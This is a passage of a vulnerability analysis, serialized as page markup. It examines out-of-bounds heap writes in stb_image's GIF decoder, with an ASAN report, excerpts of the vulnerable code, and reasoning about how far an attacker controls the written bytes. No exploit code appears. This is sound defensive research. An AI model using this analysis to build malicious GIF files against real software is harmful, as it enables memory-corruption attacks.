",{"type":24,"tag":156,"props":150570,"children":150572},{"className":150571},[],[150573],{"type":30,"value":33},{"type":30,"value":150575}," is computed from ",{"type":24,"tag":156,"props":150577,"children":150579},{"className":150578},[],[150580],{"type":30,"value":150581},"g->out[idx]",{"type":30,"value":150583}," immediately before the violation, we considered whether ",{"type":24,"tag":156,"props":150585,"children":150587},{"className":150586},[],[150588],{"type":30,"value":79596},{"type":30,"value":150590}," could also be OOB for ",{"type":24,"tag":156,"props":150592,"children":150594},{"className":150593},[],[150595],{"type":30,"value":150596},"g->out",{"type":30,"value":150598},". Note that computing the address ",{"type":24,"tag":156,"props":150600,"children":150602},{"className":150601},[],[150603],{"type":30,"value":150604},"&g->out[idx]",{"type":30,"value":150606}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":24,"tag":33,"props":150608,"children":150609},{},[150610,150612,150617],{"type":30,"value":150611},"If we comment out ",{"type":24,"tag":156,"props":150613,"children":150615},{"className":150614},[],[150616],{"type":30,"value":150561},{"type":30,"value":150618}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":24,"tag":920,"props":150620,"children":150622},{"code":150621},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n    #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n    [...]\n",[150623],{"type":24,"tag":156,"props":150624,"children":150625},{"__ignoreMap":7},[150626],{"type":30,"value":150621},{"type":24,"tag":33,"props":150628,"children":150629},{},[150630],{"type":30,"value":150631},"This corresponds to:",{"type":24,"tag":920,"props":150633,"children":150635},{"code":150634,"language":6268,"meta":7,"className":19616,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   [...]\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;  \n\n   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];        // OOB write\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[150636],{"type":24,"tag":156,"props":150637,"children":150638},{"__ignoreMap":7},[150639,150678,150685,150692,150699,150742,150773,150817,150824,150892,150932,150977,151016,151055,151094],{"type":24,"tag":930,"props":150640,"children":150641},{"class":932,"line":933},[150642,150646,150650,150654,150658,150662,150666,150670,150674],{"type":24,"tag":930,"props":150643,"children":150644},{"style":937},[150645],{"type":30,"value":54133},{"type":24,"tag":930,"props":150647,"children":150648},{"style":937},[150649],{"type":30,"value":54138},{"type":24,"tag":930,"props":150651,"children":150652},{"style":1002},[150653],{"type":30,"value":150250},{"type":24,"tag":930,"props":150655,"children":150656},{"style":959},[150657],{"type":30,"value":150255},{"type":24,"tag":930,"props":150659,"children":150660},{"style":1158},[150661],{"type":30,"value":1410},{"type":24,"tag":930,"props":150663,"children":150664},{"style":1023},[150665],{"type":30,"value":111726},{"type":24,"tag":930,"props":150667,"children":150668},{"style":959},[150669],{"type":30,"value":150268},{"type":24,"tag":930,"props":150671,"children":150672},{"style":1023},[150673],{"type":30,"value":156},{"type":24,"tag":930,"props":150675,"children":150676},{"style":959},[150677],{"type":30,"value":1054},{"type":24,"tag":930,"props":150679,"children":150680},{"class":932,"line":984},[150681],{"type":24,"tag":930,"props":150682,"children":150683},{"style":959},[150684],{"type":30,"value":13987},{"type":24,"tag":930,"props":150686,"children":150687},{"class":932,"line":993},[150688],{"type":24,"tag":930,"props":150689,"children":150690},{"style":959},[150691],{"type":30,"value":150337},{"type":24,"tag":930,"props":150693,"children":150694},{"class":932,"line":1057},[150695],{"type":24,"tag":930,"props":150696,"children":150697},{"emptyLinePlaceholder":16},[150698],{"type":30,"value":2412},{"type":24,"tag":930,"props":150700,"children":150701},{"class":932,"line":1066},[150702,150706,150710,150714,150718,150722,150726,150730,150734,150738],{"type":24,"tag":930,"props":150703,"children":150704},{"style":959},[150705],{"type":30,"value":150413},{"type":24,"tag":930,"props":150707,"children":150708},{"style":1158},[150709],{"type":30,"value":1161},{"type":24,"tag":930,"props":150711,"children":150712},{"style":1023},[150713],{"type":30,"value":150377},{"type":24,"tag":930,"props":150715,"children":150716},{"style":959},[150717],{"type":30,"value":16864},{"type":24,"tag":930,"props":150719,"children":150720},{"style":1023},[150721],{"type":30,"value":150430},{"type":24,"tag":930,"props":150723,"children":150724},{"style":1158},[150725],{"type":30,"value":12014},{"type":24,"tag":930,"props":150727,"children":150728},{"style":1023},[150729],{"type":30,"value":150377},{"type":24,"tag":930,"props":150731,"children":150732},{"style":959},[150733],{"type":30,"value":16864},{"type":24,"tag":930,"props":150735,"children":150736},{"style":1023},[150737],{"type":30,"value":150368},{"type":24,"tag":930,"props":150739,"children":150740},{"style":959},[150741],{"type":30,"value":150451},{"type":24,"tag":930,"props":150743,"children":150744},{"class":932,"line":1075},[150745,150749,150753,150757,150761,150765,150769],{"type":24,"tag":930,"props":150746,"children":150747},{"style":959},[150748],{"type":30,"value":150459},{"type":24,"tag":930,"props":150750,"children":150751},{"style":1158},[150752],{"type":30,"value":1161},{"type":24,"tag":930,"props":150754,"children":150755},{"style":1158},[150756],{"type":30,"value":10253},{"type":24,"tag":930,"props":150758,"children":150759},{"style":1023},[150760],{"type":30,"value":111726},{"type":24,"tag":930,"props":150762,"children":150763},{"style":959},[150764],{"type":30,"value":16864},{"type":24,"tag":930,"props":150766,"children":150767},{"style":1023},[150768],{"type":30,"value":121149},{"type":24,"tag":930,"props":150770,"children":150771},{"style":959},[150772],{"type":30,"value":150484},{"type":24,"tag":930,"props":150774,"children":150775},{"class":932,"line":1122},[150776,150780,150784,150788,150792,150796,150800,150804,150808,150812],{"type":24,"tag":930,"props":150777,"children":150778},{"style":1023},[150779],{"type":30,"value":150492},{"type":24,"tag":930,"props":150781,"children":150782},{"style":959},[150783],{"type":30,"value":16864},{"type":24,"tag":930,"props":150785,"children":150786},{"style":1023},[150787],{"type":30,"value":150501},{"type":24,"tag":930,"props":150789,"children":150790},{"style":959},[150791],{"type":30,"value":150506},{"type":24,"tag":930,"props":150793,"children":150794},{"style":1158},[150795],{"type":30,"value":1471},{"type":24,"tag":930,"props":150797,"children":150798},{"style":1242},[150799],{"type":30,"value":14852},{"type":24,"tag":930,"props":150801,"children":150802},{"style":959},[150803],{"type":30,"value":11770},{"type":24,"tag":930,"props":150805,"children":150806},{"style":1158},[150807],{"type":30,"value":1161},{"type":24,"tag":930,"props":150809,"children":150810},{"style":1242},[150811],{"type":30,"value":7637},{"type":24,"tag":930,"props":150813,"children":150814},{"style":959},[150815],{"type":30,"value":150816},";  \n",{"type":24,"tag":930,"props":150818,"children":150819},{"class":932,"line":1131},[150820],{"type":24,"tag":930,"props":150821,"children":150822},{"emptyLinePlaceholder":16},[150823],{"type":30,"value":2412},{"type":24,"tag":930,"props":150825,"children":150826},{"class":932,"line":1144},[150827,150832,150836,150840,150844,150848,150853,150857,150861,150865,150870,150875,150880,150884,150888],{"type":24,"tag":930,"props":150828,"children":150829},{"style":959},[150830],{"type":30,"value":150831},"   c ",{"type":24,"tag":930,"props":150833,"children":150834},{"style":1158},[150835],{"type":30,"value":1161},{"type":24,"tag":930,"props":150837,"children":150838},{"style":1158},[150839],{"type":30,"value":10253},{"type":24,"tag":930,"props":150841,"children":150842},{"style":1023},[150843],{"type":30,"value":111726},{"type":24,"tag":930,"props":150845,"children":150846},{"style":959},[150847],{"type":30,"value":16864},{"type":24,"tag":930,"props":150849,"children":150850},{"style":1023},[150851],{"type":30,"value":150852},"color_table",{"type":24,"tag":930,"props":150854,"children":150855},{"style":959},[150856],{"type":30,"value":6849},{"type":24,"tag":930,"props":150858,"children":150859},{"style":1023},[150860],{"type":30,"value":111726},{"type":24,"tag":930,"props":150862,"children":150863},{"style":959},[150864],{"type":30,"value":16864},{"type":24,"tag":930,"props":150866,"children":150867},{"style":1023},[150868],{"type":30,"value":150869},"codes",{"type":24,"tag":930,"props":150871,"children":150872},{"style":959},[150873],{"type":30,"value":150874},"[code].",{"type":24,"tag":930,"props":150876,"children":150877},{"style":1023},[150878],{"type":30,"value":150879},"suffix",{"type":24,"tag":930,"props":150881,"children":150882},{"style":1158},[150883],{"type":30,"value":12924},{"type":24,"tag":930,"props":150885,"children":150886},{"style":1242},[150887],{"type":30,"value":14852},{"type":24,"tag":930,"props":150889,"children":150890},{"style":959},[150891],{"type":30,"value":34666},{"type":24,"tag":930,"props":150893,"children":150894},{"class":932,"line":1169},[150895,150899,150903,150907,150911,150915,150919,150923,150928],{"type":24,"tag":930,"props":150896,"children":150897},{"style":1079},[150898],{"type":30,"value":55733},{"type":24,"tag":930,"props":150900,"children":150901},{"style":959},[150902],{"type":30,"value":1087},{"type":24,"tag":930,"props":150904,"children":150905},{"style":1023},[150906],{"type":30,"value":6268},{"type":24,"tag":930,"props":150908,"children":150909},{"style":959},[150910],{"type":30,"value":6849},{"type":24,"tag":930,"props":150912,"children":150913},{"style":1242},[150914],{"type":30,"value":20397},{"type":24,"tag":930,"props":150916,"children":150917},{"style":959},[150918],{"type":30,"value":11770},{"type":24,"tag":930,"props":150920,"children":150921},{"style":1158},[150922],{"type":30,"value":2261},{"type":24,"tag":930,"props":150924,"children":150925},{"style":1242},[150926],{"type":30,"value":150927}," 128",{"type":24,"tag":930,"props":150929,"children":150930},{"style":959},[150931],{"type":30,"value":1503},{"type":24,"tag":930,"props":150933,"children":150934},{"class":932,"line":1191},[150935,150940,150944,150948,150952,150956,150960,150964,150968,150972],{"type":24,"tag":930,"props":150936,"children":150937},{"style":1023},[150938],{"type":30,"value":150939},"      p",{"type":24,"tag":930,"props":150941,"children":150942},{"style":959},[150943],{"type":30,"value":6849},{"type":24,"tag":930,"props":150945,"children":150946},{"style":1242},[150947],{"type":30,"value":1818},{"type":24,"tag":930,"props":150949,"children":150950},{"style":959},[150951],{"type":30,"value":11770},{"type":24,"tag":930,"props":150953,"children":150954},{"style":1158},[150955],{"type":30,"value":1161},{"type":24,"tag":930,"props":150957,"children":150958},{"style":1023},[150959],{"type":30,"value":40533},{"type":24,"tag":930,"props":150961,"children":150962},{"style":959},[150963],{"type":30,"value":6849},{"type":24,"tag":930,"props":150965,"children":150966},{"style":1242},[150967],{"type":30,"value":6244},{"type":24,"tag":930,"props":150969,"children":150970},{"style":959},[150971],{"type":30,"value":59001},{"type":24,"tag":930,"props":150973,"children":150974},{"style":1422},[150975],{"type":30,"value":150976},"        // OOB write\n",{"type":24,"tag":930,"props":150978,"children":150979},{"class":932,"line":1223},[150980,150984,150988,150992,150996,151000,151004,151008,151012],{"type":24,"tag":930,"props":150981,"children":150982},{"style":1023},[150983],{"type":30,"value":150939},{"type":24,"tag":930,"props":150985,"children":150986},{"style":959},[150987],{"type":30,"value":6849},{"type":24,"tag":930,"props":150989,"children":150990},{"style":1242},[150991],{"type":30,"value":7129},{"type":24,"tag":930,"props":150993,"children":150994},{"style":959},[150995],{"type":30,"value":11770},{"type":24,"tag":930,"props":150997,"children":150998},{"style":1158},[150999],{"type":30,"value":1161},{"type":24,"tag":930,"props":151001,"children":151002},{"style":1023},[151003],{"type":30,"value":40533},{"type":24,"tag":930,"props":151005,"children":151006},{"style":959},[151007],{"type":30,"value":6849},{"type":24,"tag":930,"props":151009,"children":151010},{"style":1242},[151011],{"type":30,"value":7129},{"type":24,"tag":930,"props":151013,"children":151014},{"style":959},[151015],{"type":30,"value":34666},{"type":24,"tag":930,"props":151017,"children":151018},{"class":932,"line":1281},[151019,151023,151027,151031,151035,151039,151043,151047,151051],{"type":24,"tag":930,"props":151020,"children":151021},{"style":1023},[151022],{"type":30,"value":150939},{"type":24,"tag":930,"props":151024,"children":151025},{"style":959},[151026],{"type":30,"value":6849},{"type":24,"tag":930,"props":151028,"children":151029},{"style":1242},[151030],{"type":30,"value":6244},{"type":24,"tag":930,"props":151032,"children":151033},{"style":959},[151034],{"type":30,"value":11770},{"type":24,"tag":930,"props":151036,"children":151037},{"style":1158},[151038],{"type":30,"value":1161},{"type":24,"tag":930,"props":151040,"children":151041},{"style":1023},[151042],{"type":30,"value":40533},{"type":24,"tag":930,"props":151044,"children":151045},{"style":959},[151046],{"type":30,"value":6849},{"type":24,"tag":930,"props":151048,"children":151049},{"style":1242},[151050],{"type":30,"value":1818},{"type":24,"tag":930,"props":151052,"children":151053},{"style":959},[151054],{"type":30,"value":34666},{"type":24,"tag":930,"props":151056,"children":151057},{"class":932,"line":1313},[151058,151062,151066,151070,151074,151078,151082,151086,151090],{"type":24,"tag":930,"props":151059,"children":151060},{"style":1023},[151061],{"type":30,"value":150939},{"type":24,"tag":930,"props":151063,"children":151064},{"style":959},[151065],{"type":30,"value":6849},{"type":24,"tag":930,"props":151067,"children":151068},{"style":1242},[151069],{"type":30,"value":20397},{"type":24,"tag":930,"props":151071,"children":151072},{"style":959},[151073],{"type":30,"value":11770},{"type":24,"tag":930,"props":151075,"children":151076},{"style":1158},[151077],{"type":30,"value":1161},{"type":24,"tag":930,"props":151079,"children":151080},{"style":1023},[151081],{"type":30,"value":40533},{"type":24,"tag":930,"props":151083,"children":151084},{"style":959},[151085],{"type":30,"value":6849},{"type":24,"tag":930,"props":151087,"children":151088},{"style":1242},[151089],{"type":30,"value":20397},{"type":24,"tag":930,"props":151091,"children":151092},{"style":959},[151093],{"type":30,"value":34666},{"type":24,"tag":930,"props":151095,"children":151096},{"class":932,"line":1335},[151097],{"type":24,"tag":930,"props":151098,"children":151099},{"style":959},[151100],{"type":30,"value":37837},{"type":24,"tag":33,"props":151102,"children":151103},{},[151104,151106,151111,151113,151118],{"type":30,"value":151105},"This confirms ",{"type":24,"tag":156,"props":151107,"children":151109},{"className":151108},[],[151110],{"type":30,"value":79596},{"type":30,"value":151112}," is OOB for ",{"type":24,"tag":156,"props":151114,"children":151116},{"className":151115},[],[151117],{"type":30,"value":150596},{"type":30,"value":151119}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":24,"tag":33,"props":151121,"children":151122},{},[151123,151125,151131,151133,151140],{"type":30,"value":151124},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":24,"tag":156,"props":151126,"children":151128},{"className":151127},[],[151129],{"type":30,"value":151130},"g->color_table",{"type":30,"value":151132}," is populated by ",{"type":24,"tag":37,"props":151134,"children":151137},{"href":151135,"rel":151136},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[41],[151138],{"type":30,"value":151139},"stbi__gif_parse_colortable",{"type":30,"value":476},{"type":24,"tag":920,"props":151142,"children":151144},{"code":151143,"language":6268,"meta":7,"className":19616,"style":7},"static void stbi__gif_parse_colortable(\n    stbi__context *s,\n    stbi_uc pal[256][4],    // g->color_table\n    int num_entries,\n    int transp\n) {\n   int i;\n   for (i=0; i \u003C num_entries; ++i) {\n      pal[i][2] = stbi__get8(s);\n      pal[i][1] = stbi__get8(s);\n      pal[i][0] = stbi__get8(s);\n      pal[i][3] = transp == i ? 0 : 255;\n   }\n}\n",[151145],{"type":24,"tag":156,"props":151146,"children":151147},{"__ignoreMap":7},[151148,151168,151188,151227,151243,151255,151262,151273,151316,151350,151381,151412,151469,151476],{"type":24,"tag":930,"props":151149,"children":151150},{"class":932,"line":933},[151151,151155,151159,151164],{"type":24,"tag":930,"props":151152,"children":151153},{"style":937},[151154],{"type":30,"value":54133},{"type":24,"tag":930,"props":151156,"children":151157},{"style":937},[151158],{"type":30,"value":54138},{"type":24,"tag":930,"props":151160,"children":151161},{"style":1002},[151162],{"type":30,"value":151163}," stbi__gif_parse_colortable",{"type":24,"tag":930,"props":151165,"children":151166},{"style":959},[151167],{"type":30,"value":2814},{"type":24,"tag":930,"props":151169,"children":151170},{"class":932,"line":984},[151171,151176,151180,151184],{"type":24,"tag":930,"props":151172,"children":151173},{"style":959},[151174],{"type":30,"value":151175},"    stbi__context ",{"type":24,"tag":930,"props":151177,"children":151178},{"style":1158},[151179],{"type":30,"value":1410},{"type":24,"tag":930,"props":151181,"children":151182},{"style":1023},[151183],{"type":30,"value":13758},{"type":24,"tag":930,"props":151185,"children":151186},{"style":959},[151187],{"type":30,"value":2832},{"type":24,"tag":930,"props":151189,"children":151190},{"class":932,"line":993},[151191,151196,151201,151205,151209,151213,151217,151222],{"type":24,"tag":930,"props":151192,"children":151193},{"style":959},[151194],{"type":30,"value":151195},"    stbi_uc ",{"type":24,"tag":930,"props":151197,"children":151198},{"style":1023},[151199],{"type":30,"value":151200},"pal",{"type":24,"tag":930,"props":151202,"children":151203},{"style":959},[151204],{"type":30,"value":6849},{"type":24,"tag":930,"props":151206,"children":151207},{"style":1242},[151208],{"type":30,"value":96360},{"type":24,"tag":930,"props":151210,"children":151211},{"style":959},[151212],{"type":30,"value":52047},{"type":24,"tag":930,"props":151214,"children":151215},{"style":1242},[151216],{"type":30,"value":20630},{"type":24,"tag":930,"props":151218,"children":151219},{"style":959},[151220],{"type":30,"value":151221},"],",{"type":24,"tag":930,"props":151223,"children":151224},{"style":1422},[151225],{"type":30,"value":151226},"    // g->color_table\n",{"type":24,"tag":930,"props":151228,"children":151229},{"class":932,"line":1057},[151230,151234,151239],{"type":24,"tag":930,"props":151231,"children":151232},{"style":937},[151233],{"type":30,"value":22179},{"type":24,"tag":930,"props":151235,"children":151236},{"style":1023},[151237],{"type":30,"value":151238}," num_entries",{"type":24,"tag":930,"props":151240,"children":151241},{"style":959},[151242],{"type":30,"value":2832},{"type":24,"tag":930,"props":151244,"children":151245},{"class":932,"line":1066},[151246,151250],{"type":24,"tag":930,"props":151247,"children":151248},{"style":937},[151249],{"type":30,"value":22179},{"type":24,"tag":930,"props":151251,"children":151252},{"style":959},[151253],{"type":30,"value":151254}," transp\n",{"type":24,"tag":930,"props":151256,"children":151257},{"class":932,"line":1075},[151258],{"type":24,"tag":930,"props":151259,"children":151260},{"style":959},[151261],{"type":30,"value":1503},{"type":24,"tag":930,"props":151263,"children":151264},{"class":932,"line":1122},[151265,151269],{"type":24,"tag":930,"props":151266,"children":151267},{"style":937},[151268],{"type":30,"value":150317},{"type":24,"tag":930,"props":151270,"children":151271},{"style":959},[151272],{"type":30,"value":61053},{"type":24,"tag":930,"props":151274,"children":151275},{"class":932,"line":1131},[151276,151281,151286,151290,151294,151298,151302,151307,151311],{"type":24,"tag":930,"props":151277,"children":151278},{"style":1079},[151279],{"type":30,"value":151280},"   for",{"type":24,"tag":930,"props":151282,"children":151283},{"style":959},[151284],{"type":30,"value":151285}," (i",{"type":24,"tag":930,"props":151287,"children":151288},{"style":1158},[151289],{"type":30,"value":1161},{"type":24,"tag":930,"props":151291,"children":151292},{"style":1242},[151293],{"type":30,"value":1818},{"type":24,"tag":930,"props":151295,"children":151296},{"style":959},[151297],{"type":30,"value":54322},{"type":24,"tag":930,"props":151299,"children":151300},{"style":1158},[151301],{"type":30,"value":1350},{"type":24,"tag":930,"props":151303,"children":151304},{"style":959},[151305],{"type":30,"value":151306}," num_entries; ",{"type":24,"tag":930,"props":151308,"children":151309},{"style":1158},[151310],{"type":30,"value":54358},{"type":24,"tag":930,"props":151312,"children":151313},{"style":959},[151314],{"type":30,"value":151315},"i) {\n",{"type":24,"tag":930,"props":151317,"children":151318},{"class":932,"line":1144},[151319,151324,151328,151332,151336,151340,151345],{"type":24,"tag":930,"props":151320,"children":151321},{"style":1023},[151322],{"type":30,"value":151323},"      pal",{"type":24,"tag":930,"props":151325,"children":151326},{"style":959},[151327],{"type":30,"value":63741},{"type":24,"tag":930,"props":151329,"children":151330},{"style":1242},[151331],{"type":30,"value":6244},{"type":24,"tag":930,"props":151333,"children":151334},{"style":959},[151335],{"type":30,"value":11770},{"type":24,"tag":930,"props":151337,"children":151338},{"style":1158},[151339],{"type":30,"value":1161},{"type":24,"tag":930,"props":151341,"children":151342},{"style":1002},[151343],{"type":30,"value":151344}," stbi__get8",{"type":24,"tag":930,"props":151346,"children":151347},{"style":959},[151348],{"type":30,"value":151349},"(s);\n",{"type":24,"tag":930,"props":151351,"children":151352},{"class":932,"line":1169},[151353,151357,151361,151365,151369,151373,151377],{"type":24,"tag":930,"props":151354,"children":151355},{"style":1023},[151356],{"type":30,"value":151323},{"type":24,"tag":930,"props":151358,"children":151359},{"style":959},[151360],{"type":30,"value":63741},{"type":24,"tag":930,"props":151362,"children":151363},{"style":1242},[151364],{"type":30,"value":7129},{"type":24,"tag":930,"props":151366,"children":151367},{"style":959},[151368],{"type":30,"value":11770},{"type":24,"tag":930,"props":151370,"children":151371},{"style":1158},[151372],{"type":30,"value":1161},{"type":24,"tag":930,"props":151374,"children":151375},{"style":1002},[151376],{"type":30,"value":151344},{"type":24,"tag":930,"props":151378,"children":151379},{"style":959},[151380],{"type":30,"value":151349},{"type":24,"tag":930,"props":151382,"children":151383},{"class":932,"line":1191},[151384,151388,151392,151396,151400,151404,151408],{"type":24,"tag":930,"props":151385,"children":151386},{"style":1023},[151387],{"type":30,"value":151323},{"type":24,"tag":930,"props":151389,"children":151390},{"style":959},[151391],{"type":30,"value":63741},{"type":24,"tag":930,"props":151393,"children":151394},{"style":1242},[151395],{"type":30,"value":1818},{"type":24,"tag":930,"props":151397,"children":151398},{"style":959},[151399],{"type":30,"value":11770},{"type":24,"tag":930,"props":151401,"children":151402},{"style":1158},[151403],{"type":30,"value":1161},{"type":24,"tag":930,"props":151405,"children":151406},{"style":1002},[151407],{"type":30,"value":151344},{"type":24,"tag":930,"props":151409,"children":151410},{"style":959},[151411],{"type":30,"value":151349},{"type":24,"tag":930,"props":151413,"children":151414},{"class":932,"line":1223},[151415,151419,151423,151427,151431,151435,151440,151444,151448,151452,151456,151460,151465],{"type":24,"tag":930,"props":151416,"children":151417},{"style":1023},[151418],{"type":30,"value":151323},{"type":24,"tag":930,"props":151420,"children":151421},{"style":959},[151422],{"type":30,"value":63741},{"type":24,"tag":930,"props":151424,"children":151425},{"style":1242},[151426],{"type":30,"value":20397},{"type":24,"tag":930,"props":151428,"children":151429},{"style":959},[151430],{"type":30,"value":11770},{"type":24,"tag":930,"props":151432,"children":151433},{"style":1158},[151434],{"type":30,"value":1161},{"type":24,"tag":930,"props":151436,"children":151437},{"style":959},[151438],{"type":30,"value":151439}," transp ",{"type":24,"tag":930,"props":151441,"children":151442},{"style":1158},[151443],{"type":30,"value":1239},{"type":24,"tag":930,"props":151445,"children":151446},{"style":959},[151447],{"type":30,"value":57633},{"type":24,"tag":930,"props":151449,"children":151450},{"style":1158},[151451],{"type":30,"value":5347},{"type":24,"tag":930,"props":151453,"children":151454},{"style":1242},[151455],{"type":30,"value":1245},{"type":24,"tag":930,"props":151457,"children":151458},{"style":1158},[151459],{"type":30,"value":38205},{"type":24,"tag":930,"props":151461,"children":151462},{"style":1242},[151463],{"type":30,"value":151464}," 255",{"type":24,"tag":930,"props":151466,"children":151467},{"style":959},[151468],{"type":30,"value":5539},{"type":24,"tag":930,"props":151470,"children":151471},{"class":932,"line":1281},[151472],{"type":24,"tag":930,"props":151473,"children":151474},{"style":959},[151475],{"type":30,"value":37837},{"type":24,"tag":930,"props":151477,"children":151478},{"class":932,"line":1313},[151479],{"type":24,"tag":930,"props":151480,"children":151481},{"style":959},[151482],{"type":30,"value":2528},{"type":24,"tag":33,"props":151484,"children":151485},{},[151486,151488,151493,151494,151499,151501,151506],{"type":30,"value":151487},"The first three bytes are read from the input image, while the last byte can be either ",{"type":24,"tag":156,"props":151489,"children":151491},{"className":151490},[],[151492],{"type":30,"value":1818},{"type":30,"value":16241},{"type":24,"tag":156,"props":151495,"children":151497},{"className":151496},[],[151498],{"type":30,"value":115771},{"type":30,"value":151500},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":24,"tag":156,"props":151502,"children":151504},{"className":151503},[],[151505],{"type":30,"value":32938},{"type":30,"value":476},{"type":24,"tag":920,"props":151508,"children":151510},{"code":151509,"language":6268,"meta":7,"className":19616,"style":7},"   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[151511],{"type":24,"tag":156,"props":151512,"children":151513},{"__ignoreMap":7},[151514,151577,151616,151655,151694,151733,151772],{"type":24,"tag":930,"props":151515,"children":151516},{"class":932,"line":933},[151517,151521,151525,151529,151533,151537,151541,151545,151549,151553,151557,151561,151565,151569,151573],{"type":24,"tag":930,"props":151518,"children":151519},{"style":959},[151520],{"type":30,"value":150831},{"type":24,"tag":930,"props":151522,"children":151523},{"style":1158},[151524],{"type":30,"value":1161},{"type":24,"tag":930,"props":151526,"children":151527},{"style":1158},[151528],{"type":30,"value":10253},{"type":24,"tag":930,"props":151530,"children":151531},{"style":959},[151532],{"type":30,"value":111726},{"type":24,"tag":930,"props":151534,"children":151535},{"style":1158},[151536],{"type":30,"value":16864},{"type":24,"tag":930,"props":151538,"children":151539},{"style":1023},[151540],{"type":30,"value":150852},{"type":24,"tag":930,"props":151542,"children":151543},{"style":959},[151544],{"type":30,"value":6849},{"type":24,"tag":930,"props":151546,"children":151547},{"style":1023},[151548],{"type":30,"value":111726},{"type":24,"tag":930,"props":151550,"children":151551},{"style":959},[151552],{"type":30,"value":16864},{"type":24,"tag":930,"props":151554,"children":151555},{"style":1023},[151556],{"type":30,"value":150869},{"type":24,"tag":930,"props":151558,"children":151559},{"style":959},[151560],{"type":30,"value":150874},{"type":24,"tag":930,"props":151562,"children":151563},{"style":1023},[151564],{"type":30,"value":150879},{"type":24,"tag":930,"props":151566,"children":151567},{"style":1158},[151568],{"type":30,"value":12924},{"type":24,"tag":930,"props":151570,"children":151571},{"style":1242},[151572],{"type":30,"value":14852},{"type":24,"tag":930,"props":151574,"children":151575},{"style":959},[151576],{"type":30,"value":34666},{"type":24,"tag":930,"props":151578,"children":151579},{"class":932,"line":984},[151580,151584,151588,151592,151596,151600,151604,151608,151612],{"type":24,"tag":930,"props":151581,"children":151582},{"style":1079},[151583],{"type":30,"value":55733},{"type":24,"tag":930,"props":151585,"children":151586},{"style":959},[151587],{"type":30,"value":1087},{"type":24,"tag":930,"props":151589,"children":151590},{"style":1023},[151591],{"type":30,"value":6268},{"type":24,"tag":930,"props":151593,"children":151594},{"style":959},[151595],{"type":30,"value":6849},{"type":24,"tag":930,"props":151597,"children":151598},{"style":1242},[151599],{"type":30,"value":20397},{"type":24,"tag":930,"props":151601,"children":151602},{"style":959},[151603],{"type":30,"value":11770},{"type":24,"tag":930,"props":151605,"children":151606},{"style":1158},[151607],{"type":30,"value":2261},{"type":24,"tag":930,"props":151609,"children":151610},{"style":1242},[151611],{"type":30,"value":150927},{"type":24,"tag":930,"props":151613,"children":151614},{"style":959},[151615],{"type":30,"value":1503},{"type":24,"tag":930,"props":151617,"children":151618},{"class":932,"line":993},[151619,151623,151627,151631,151635,151639,151643,151647,151651],{"type":24,"tag":930,"props":151620,"children":151621},{"style":1023},[151622],{"type":30,"value":150939},{"type":24,"tag":930,"props":151624,"children":151625},{"style":959},[151626],{"type":30,"value":6849},{"type":24,"tag":930,"props":151628,"children":151629},{"style":1242},[151630],{"type":30,"value":1818},{"type":24,"tag":930,"props":151632,"children":151633},{"style":959},[151634],{"type":30,"value":11770},{"type":24,"tag":930,"props":151636,"children":151637},{"style":1158},[151638],{"type":30,"value":1161},{"type":24,"tag":930,"props":151640,"children":151641},{"style":1023},[151642],{"type":30,"value":40533},{"type":24,"tag":930,"props":151644,"children":151645},{"style":959},[151646],{"type":30,"value":6849},{"type":24,"tag":930,"props":151648,"children":151649},{"style":1242},[151650],{"type":30,"value":6244},{"type":24,"tag":930,"props":151652,"children":151653},{"style":959},[151654],{"type":30,"value":34666},{"type":24,"tag":930,"props":151656,"children":151657},{"class":932,"line":1057},[151658,151662,151666,151670,151674,151678,151682,151686,151690],{"type":24,"tag":930,"props":151659,"children":151660},{"style":1023},[151661],{"type":30,"value":150939},{"type":24,"tag":930,"props":151663,"children":151664},{"style":959},[151665],{"type":30,"value":6849},{"type":24,"tag":930,"props":151667,"children":151668},{"style":1242},[151669],{"type":30,"value":7129},{"type":24,"tag":930,"props":151671,"children":151672},{"style":959},[151673],{"type":30,"value":11770},{"type":24,"tag":930,"props":151675,"children":151676},{"style":1158},[151677],{"type":30,"value":1161},{"type":24,"tag":930,"props":151679,"children":151680},{"style":1023},[151681],{"type":30,"value":40533},{"type":24,"tag":930,"props":151683,"children":151684},{"style":959},[151685],{"type":30,"value":6849},{"type":24,"tag":930,"props":151687,"children":151688},{"style":1242},[151689],{"type":30,"value":7129},{"type":24,"tag":930,"props":151691,"children":151692},{"style":959},[151693],{"type":30,"value":34666},{"type":24,"tag":930,"props":151695,"children":151696},{"class":932,"line":1066},[151697,151701,151705,151709,151713,151717,151721,151725,151729],{"type":24,"tag":930,"props":151698,"children":151699},{"style":1023},[151700],{"type":30,"value":150939},{"type":24,"tag":930,"props":151702,"children":151703},{"style":959},[151704],{"type":30,"value":6849},{"type":24,"tag":930,"props":151706,"children":151707},{"style":1242},[151708],{"type":30,"value":6244},{"type":24,"tag":930,"props":151710,"children":151711},{"style":959},[151712],{"type":30,"value":11770},{"type":24,"tag":930,"props":151714,"children":151715},{"style":1158},[151716],{"type":30,"value":1161},{"type":24,"tag":930,"props":151718,"children":151719},{"style":1023},[151720],{"type":30,"value":40533},{"type":24,"tag":930,"props":151722,"children":151723},{"style":959},[151724],{"type":30,"value":6849},{"type":24,"tag":930,"props":151726,"children":151727},{"style":1242},[151728],{"type":30,"value":1818},{"type":24,"tag":930,"props":151730,"children":151731},{"style":959},[151732],{"type":30,"value":34666},{"type":24,"tag":930,"props":151734,"children":151735},{"class":932,"line":1075},[151736,